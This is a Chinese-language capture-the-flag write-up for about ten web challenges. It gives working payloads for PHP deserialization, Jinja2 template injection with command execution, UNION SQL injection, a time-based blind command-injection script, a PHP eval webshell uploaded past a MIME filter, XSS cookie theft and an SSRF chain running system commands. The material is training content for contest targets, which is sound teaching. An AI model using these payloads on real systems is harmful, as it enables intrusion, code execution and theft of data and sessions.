baby_serialize
一题基础的反序列化
代码审计,当Username为admin的时候就给flag
<?php
highlight_file(__FILE__);
include "flag.php";
class User{
private $Username = "0xDktb";
private $Password = "0xDktb111";
function __construct(){
$Username = "0xDktb";
$Password = "0xDktb123";
}
function isAdmin(){
if($this->Username == "admin"){
return true;
}
return false;
}
function __destruct(){
echo "Hello ".$this->Username;
}
}
$user = new User();
if($_GET['user']){
$user = unserialize($_GET['user']);
}
if($user->isAdmin()){
echo $flag;
}
重写好变量
有个注意点:private属性序列化后,类名的前后要加上不可见字符%00
class User{
private $Username = 'admin';
private $Password;
}
$user = new User();
$a = serialize($user);
payload:
O:4:"User":2:{s:14:"%00User%00Username";s:5:"admin";s:14:"%00Use%00rPassword";N;}
Do_You_like_Python?
一题SSRF模板注入,输入{{7*7}}
jianjia2模板
payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag').read()") }}{% endif %}{% endfor %}
easyeasySQL
基础sql组合拳就可以了
先查询字段数
写到4的时候就没有回显了,说明只有三个字段
1' order by 4#
看回显点
0' union select 1,2,3#

爆出表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='f1Ag'#
直接查询记录flag就可以了
想执行命令?
命令盲注,没有回显,可以通过时间盲注来操作:sleep 2
解法一:
写好python脚本:
注意命令的格式:空格,反引号内联执行命令
import requests
import string
import time
# 获取所有的大小写字母、数字和特殊符号
str=string.ascii_letters+string.digits
str=str+"{}_-`~!@#$%^&*()+"
flag=""
for x in range(1,30):
for y in str:
# if语句,如果前面的判断正确了,就会执行后面的sleep延时
tar="if [ `cut -c {} /flag` = \"{}\" ];then sleep 2;fi".format(x,y)
data={
'target':tar
}
start=time.time()
res=requests.post('http://47.93.227.250:29034/',data=data).text
# 记录运行的时间,如果运行超过了两秒说明前面的判断正确了,执行了延时
num=time.time()-(start)
if res:
if num>2:
# flag的拼接
flag=flag+y
print(flag)
等他慢慢跑完就可以了
解法二
直接把根目录的flag复制到网站目录里,然后直接访问就可以了
cp /flag /var/www/html/f1ag.txt
linkgame
F12无效,右键无效,使用view-source协议看源代码,flag就出来了
easyUpload
基础文件上传
按F12提示看index.php,发现里面有源代码
对文件格式有个过滤
if(($_FILES["file"]["type"]=="image/jpeg"
|| $_FILES["file"]["type"]=="image/jpg"
|| $_FILES["file"]["type"]=="image/gif"
|| $_FILES["file"]["type"]=="image/png") && $_FILES["file"]["size"] < 1000000)
burp抓包,把Content-Type改掉,上面随便选一个就行
把一句话木马传到后台,开蚁剑就可以了
<?php @eval($_POST[123])?>
网页目录有一个假的flag,真flag得往上翻
esay_look
代码审计
要求传三个参数,要满足这几个条件:
$check = $a and $b;为true$a and $b为false$c == md5($c)
<?php
include "flag";
if(!$_GET['source']){
highlight_file(__FILE__);
}
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$check = $a and $b;
if($check){
if($a and $b){
die("No flag!Try it again!");
}
else{
if($c == md5($c)){
die($flag);
}
}
}
else{
die("Are You kidding?");
}
前两个条件看似矛盾,其实结果不同
当a=1,b=0的时候:
$a and $b显然是0,false
而$check = $a and $b;的值却是1,可以自己在php里跑一下,这里check的值是等号后面这个变量的值,所以a赋值不为0,b赋值为0就可以了
<?php
$a=1;
$b=0;
$check=$a and $b;
echo $check.'<br>';
要满足$c == md5($c)可以爆破跑出来
c=0e215962017时是满足条件的
payload:a=123&b=0&c=0e215962017
easyXSS
去xss平台找一个cookie的代码发布出去,过几分钟管理员查看的时候拿到cookie
burp抓包,点get flag后修改cookie即可
easySSRF
先代码审计,第一层是给url传一个值,然后会跳转到这个网站,题目叫我们访问http://192.168.54.3/,那就直接传给url
到了第二层,要给这个url传两个值,普通的传值/?a=123&b=123是不行的,b的值会赋给最开始的地址,可以使用url编码,编码后就解决了
然后就是执行变量函数:
空格用%20代替
payload:
http://101.37.32.116:20213/?url=http%3a%2f%2f192.168.54.3%2f%3fa%3dsystem%26b%3dls%2520%2f
找到flag.txt,用cat去访问就可以了
http://101.37.32.116:20213/?url=http%3a%2f%2f192.168.54.3%2f%3fa%3dsystem%26b%3dcat%2520%2fflag.txt
